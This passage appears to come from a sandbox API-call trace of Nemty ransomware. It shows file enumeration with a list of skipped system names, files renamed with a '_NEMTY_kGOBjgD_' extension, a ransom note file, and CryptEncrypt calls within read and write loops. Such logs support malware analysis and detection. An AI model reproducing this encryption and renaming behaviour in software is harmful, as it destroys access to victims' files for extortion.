hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.077] CloseHandle (hObject=0xffffffff) returned 0 [0147.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0147.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0147.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html._nemty_kgobjgd_")) returned 0 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0147.077] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd2630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0147.078] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0147.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0147.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0147.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.079] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd2630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0147.079] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0147.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0147.079] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0147.079] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0147.080] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0147.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0147.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0147.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0147.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0147.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0147.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0147.080] Sleep (dwMilliseconds=0x5) [0147.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xb51c990, dwHighDateTime=0x1d561e8)) [0147.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xb51c990, dwHighDateTime=0x1d561e8)) [0147.090] GetLastError () returned 0x12 [0147.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.090] GetLastError () returned 0x12 [0147.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.090] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0147.090] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0147.091] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0147.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0147.091] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="st44EpmdXB1jyMduE1uztrqQE+DC44fmUH0PYyFowv+A3q8JyrQnSLO+blhjZD3i\r\n+vyYmf3fzISypINNxthjRNKn9ewowMA8rvaT/FnTO7PHLLIFRrKuEjQEENTrOW3z\r\nNjfKmvCd5qo3qCDKUZF1tJxtFBRJdssy4dTD6GzVuh9dxBfSC8f9OZTcydqhGCYE\r\nlVYDUZ3EMFnh9rRN9W4mIPTIfTMzNbi+tsff4KXU5WuTLmZmpX39ltQ0H8oyZOJa\r\ntvaArUPaXqzfmiFuUvvNOoPp4Gk8Z/yH0aRIUeCrxTOwxGpSdDkcQPp2TSZy128u\r\nzA7sTAwiRupZn33BeH2tGA==\r\n", pcchString=0x653ec5c) returned 1 [0147.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0147.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.091] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.091] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0147.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 